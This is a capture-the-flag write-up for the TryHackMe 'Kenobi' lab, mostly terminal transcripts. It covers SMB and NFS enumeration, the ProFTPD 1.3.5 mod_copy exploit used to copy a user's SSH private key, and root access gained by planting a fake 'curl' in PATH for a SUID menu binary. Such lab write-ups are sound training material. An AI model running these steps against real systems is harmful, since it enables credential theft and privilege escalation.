| title | created | modified |
|---|---|---|
TryHackMe Write-Up: Kenobi |
2020-09-09T22:22:03.241Z |
2020-09-09T23:21:06.050Z |
Kenobi is TryHackMe CTF on exploiting Linux machines through Samba, proftpd and priviledge escalation through manipulation of PATH variables.
Connect to VPN, hit Deploy button.
kali@kali:~/Desktop/TryHackMe/kenobi$ nmap 10.10.130.214
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 18:30 EDT
Nmap scan report for 10.10.130.214
Host is up (0.020s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
This is possible with a number of tools. Kenobi suggests using nmap's SMB scripts however.
kali@kali:~/Desktop/TryHackMe/kenobi$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.130.214
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 18:32 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 18:32 (0:00:00 remaining)
Nmap scan report for 10.10.130.214
Host is up (0.018s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.130.214\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.130.214\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.130.214\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 3.67 seconds
kali@kali:~/Desktop/TryHackMe/kenobi$ smbclient //10.10.130.214/anonymous
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 4 06:49:09 2019
.. D 0 Wed Sep 4 06:56:07 2019
log.txt N 12237 Wed Sep 4 06:49:09 2019
9204224 blocks of size 1024. 6877092 blocks available
kali@kali:~/Desktop/TryHackMe/kenobi$ smbget -R smb://10.10.130.214/anonymous
Password for [kali] connecting to //anonymous/10.10.130.214:
Using workgroup WORKGROUP, user kali
smb://10.10.130.214/anonymous/log.txt
Downloaded 11.95kB in 2 seconds
kali@kali:~/Desktop/TryHackMe/kenobi$ cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
# Don't use IPv6 support by default.
UseIPv6 off
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask 022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances 30
# Set the user and group under which the server will run.
User kenobi
Group kenobi
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
AllowOverwrite on
# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
DenyAll
</Limit>
# A basic anonymous configuration, no upload directories. If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
User ftp
Group ftp
# We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# Limit the maximum number of anonymous logins
MaxClients 10
# We want 'welcome.msg' displayed at login, and '.message' displayed
# in each newly chdired directory.
DisplayLogin welcome.msg
DisplayChdir .message
# Limit WRITE everywhere in the anonymous chroot
<Limit WRITE>
DenyAll
</Limit>
</Anonymous>
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
# - When such options are commented with ";", the proposed setting
# differs from the default Samba behaviour
# - When commented with "#", the proposed setting is the default
# behaviour of Samba but the option is considered important
# enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic
# errors.
#======================= Global Settings =======================
[global]
## Browsing/Identification ###
# Change this to the workgroup/NT-domain name your Samba server will part of
workgroup = WORKGROUP
# server string is the equivalent of the NT Description field
server string = %h server (Samba, Ubuntu)
# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
# wins support = no
# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
; wins server = w.x.y.z
# This will prevent nmbd to search for NetBIOS names through DNS.
dns proxy = no
#### Networking ####
# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
; interfaces = 127.0.0.0/8 eth0
# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself. However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
; bind interfaces only = yes
#### Debugging/Accounting ####
# This tells Samba to use a separate log file for each machine
# that connects
log file = /var/log/samba/log.%m
# Cap the size of the individual log files (in KiB).
max log size = 1000
# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
# syslog only = no
# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
syslog = 0
# Do something sensible when Samba crashes: mail the admin a backtrace
panic action = /usr/share/samba/panic-action %d
####### Authentication #######
# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller".
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
server role = standalone server
# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
passdb backend = tdbsam
obey pam restrictions = yes
# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
unix password sync = yes
# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for
# sending the correct chat script for the passwd program in Debian Sarge).
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
pam password change = yes
# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
map to guest = bad user
########## Domains ###########
#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set
#
# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
; logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
# logon path = \\%N\%U\profile
# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
; logon drive = H:
# logon home = \\%N\%U
# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
; logon script = logon.cmd
# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe. The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u
# This allows machine accounts to be created on the domain controller via the
# SAMR RPC pipe.
# The following assumes a "machines" group exists on the system
; add machine script = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u
# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.
; add group script = /usr/sbin/addgroup --force-badname %g
############ Misc ############
# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
; include = /home/samba/etc/smb.conf.%m
# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
; idmap uid = 10000-20000
; idmap gid = 10000-20000
; template shell = /bin/bash
# Setup usershare options to enable non-root users to share folders
# with the net usershare command.
# Maximum number of usershare. 0 (default) means that usershare is disabled.
; usershare max shares = 100
# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
usershare allow guests = yes
#======================= Share Definitions =======================
# Un-comment the following (and tweak the other settings below to suit)
# to enable the default home directory shares. This will share each
# user's home directory as \\server\username
;[homes]
; comment = Home Directories
; browseable = no
# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
; read only = yes
# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
; create mask = 0700
# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
; directory mask = 0700
# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# Un-comment the following parameter to make sure that only "username"
# can connect to \\server\username
# This might need tweaking when using external authentication schemes
; valid users = %S
# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
; comment = Network Logon Service
; path = /home/samba/netlogon
; guest ok = yes
; read only = yes
# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
; comment = Users profiles
; path = /home/samba/profiles
; guest ok = no
; browseable = no
; create mask = 0600
; directory mask = 0700
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
read only = yes
create mask = 0700
# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
; write list = root, @lpadmin
[anonymous]
path = /home/kenobi/share
browseable = yes
read only = yes
guest ok = yes
kali@kali:~/Desktop/TryHackMe/kenobi$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.130.214; echo
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 18:42 EDT
Nmap scan report for 10.10.130.214
Host is up (0.016s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds
kali@kali:~/Desktop/TryHackMe/kenobi$ nc 10.10.130.214 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.130.214]
2. We can use searchsploit to find exploits for a particular software version. How many exploits are there for the ProFTPd running?
kali@kali:~/Desktop/TryHackMe/kenobi$ searchsploit -s proftpd 1.3.5
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Just hit complete after reading.
kali@kali:~/Desktop/TryHackMe/kenobi$ nc 10.10.130.214 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.130.214]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/ida_rsa
250 Copy successful
kali@kali:~/Desktop/TryHackMe/kenobi$ sudo mkdir /mnt/kenobiNFS
[sudo] password for kali:
kali@kali:~/Desktop/TryHackMe/kenobi$ sudo mount 10.10.130.214:/var /mnt/kenobiNFS
kali@kali:~/Desktop/TryHackMe/kenobi$ ls -la /mnt/kenobiNFS/
total 56
drwxr-xr-x 14 root root 4096 Sep 4 2019 .
drwxr-xr-x 3 root root 4096 Sep 9 18:54 ..
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 12 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail
drwxr-xr-x 2 root root 4096 Feb 26 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 29 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 Sep 9 18:52 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
kali@kali:/mnt/kenobiNFS/tmp$ cp ida_rsa /home/kali/Desktop/TryHackMe/kenobi/id_rsa
kali@kali:/mnt/kenobiNFS/tmp$ cd /home/kali/Desktop/TryHackMe/kenobi/
kali@kali:~/Desktop/TryHackMe/kenobi$ ls
id_rsa log.txt
kali@kali:~/Desktop/TryHackMe/kenobi$ chmod 400 id_rsa
kali@kali:~/Desktop/TryHackMe/kenobi$ ssh -i id_rsa kenobi@10.10.130.214
load pubkey "id_rsa": invalid format
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
3. Privesc by changing curl PATH variable to actually run /bin/sh, or at least the source of it. curl is used in /bin/menu, 1. status check.
kenobi@kenobi:~$ echo /bin/sh > curl
kenobi@kenobi:~$ chmod 777 curl
kenobi@kenobi:~$ export PATH=/tmp:$PATH
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Wed, 09 Sep 2020 23:18:09 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html
kenobi@kenobi:~$ mv curl /tmp/curl
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
#
# cat /root/root.txt
177b3cd8562289f37382721c28381f02